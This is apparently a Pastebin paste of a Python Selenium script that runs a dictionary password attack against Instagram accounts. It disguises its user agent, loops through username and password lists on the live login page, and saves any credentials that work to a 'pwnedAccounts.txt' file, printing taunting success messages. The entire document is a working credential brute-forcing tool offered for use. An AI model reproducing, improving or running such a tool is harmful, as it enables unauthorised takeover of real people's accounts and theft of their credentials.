Guest User

Untitled

a guest
Jun 7th, 2018
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.89 KB | None | 0 0
  1. #!/bin/python
  2. from mainLib import *
  3. from time import sleep
  4. from selenium import webdriver
  5. from selenium.webdriver.common.keys import Keys
  6. import simplejson as json
  7. import json as simplejson
  8. import sys
  9. import optparse
  10.  
  11. profile = webdriver.FirefoxProfile()
  12. profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
  13. driver = "reserved"
  14.  
  15. def userExists(username):
  16. try:
  17. driver.get("https://instagram.com/"+username)
  18. assert (("Page Not Found" or "no encontrada") not in driver.title)
  19. except AssertionError:
  20. print 'user: "%s" does not exist, trying with the next!' %username
  21. return 1
  22. except:
  23. 'uknown error'
  24.  
  25. def login(user, password, delay):
  26. try:
  27. print 'Trying with password: ' + password
  28. elem = driver.find_element_by_name("username")
  29. elem.clear()
  30. elem.send_keys(user)
  31. elem = driver.find_element_by_name("password")
  32. elem.clear()
  33. elem.send_keys(password)
  34. elem.send_keys(Keys.RETURN)
  35. sleep(delay)
  36. assert (("Login") in driver.title)
  37. #assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
  38. #if driver.current_url == 'https://www.instagram.com/':
  39. # print 'Password correct!'
  40. # print '%s' %password
  41. #else:
  42. # print 'Wrong password'
  43. except AssertionError:
  44. print 'Access granted mother kaker!!'
  45. print 'The password is: ' + password
  46. try:
  47. f = open('pwnedAccounts.txt','a')
  48. except:
  49. f = open('pwnedAccounts.txt','w')
  50. f.write('username:'+user+'npassword:'+password+'n')
  51. f.close()
  52. driver.delete_all_cookies()
  53. return 1
  54. except:
  55. print "r Check your connection to the internet mother kakerr"
  56.  
  57. def dictionaryAttack(usernames,passwords,delay):
  58. if str(type(usernames)) == "<type 'list'>":
  59. for username in usernames:
  60. if (userExists(username) == 1):
  61. continue
  62. driver.get("https://instagram.com/accounts/login/")
  63. sleep(delay * 7)
  64. print 'Trying with username: ' + username
  65. for password in passwords:
  66. if (login(username,password,delay) == 1):
  67. cj.clear()
  68. break
  69. else:
  70. if (userExists(usernames) == 1):
  71. return
  72. driver.get("https://instagram.com/accounts/login/")
  73. sleep(delay * 7)
  74. print 'Trying with username: ' + usernames
  75. for password in passwords:
  76. if (login(usernames,password,delay) == 1):
  77. break
  78. def main():
  79. parser = optparse.OptionParser()
  80. parser.add_option('-f', '--file', action="store", dest="userfile", help="File containing valid usernames (one per line)", default=False)
  81. parser.add_option('-d', '--dictionary', action="store", dest="dictionary", help="File containing passwords", default=False)
  82. parser.add_option('-u', '--username', action="store", dest="username", help="A valid username", default=False)
  83. parser.add_option('-t', '--time', action="store", dest="delay", help="delay in seconds. Use this option based on your connection speed", default=True)
  84. options, args = parser.parse_args()
  85.  
  86. global driver
  87.  
  88. if (options.delay is None):
  89. delay = 2
  90. else:
  91. delay = int(options.delay)
  92. print 'Using %d seconds of delay' %delay
  93.  
  94. if ( (options.userfile == False) and (options.username == False) ) :
  95. print 'You have to set an username or a userfile'
  96. exit()
  97. if ( (options.userfile != False) and (options.username != False) ) :
  98. print 'You can't set both options at once.. choose between username or userfile'
  99. exit()
  100. if (options.dictionary == False):
  101. print 'You have to set a valid path for the passwords dictionary'
  102. exit()
  103.  
  104. try:
  105. f = open(options.dictionary,'r')
  106. passwords = []
  107.  
  108. while True:
  109. line = f.readline()
  110. if not line:
  111. break
  112. passwords.append(line.strip('n'))
  113. f.close()
  114. except:
  115. print 'Check the path to the dictionary and try again'
  116. exit()
  117.  
  118. if (options.userfile != False):
  119. try:
  120. f = open(options.userfile,'r')
  121. usernames = []
  122.  
  123. while True:
  124. line = f.readline()
  125. if not line:
  126. break
  127. usernames.append(line.strip('n'))
  128. f.close()
  129. except:
  130. print 'Check the path to the users file and try again'
  131. exit()
  132.  
  133. driver = webdriver.Firefox(profile)
  134. driver.implicitly_wait(30)
  135. dictionaryAttack(usernames,passwords,delay)
  136. else:
  137. driver = webdriver.Firefox(profile)
  138. driver.implicitly_wait(30)
  139. dictionaryAttack(options.username,passwords,delay)
  140.  
  141. driver.close()
  142. if __name__ == '__main__':
  143. main()
Add Comment
Please, Sign In to add comment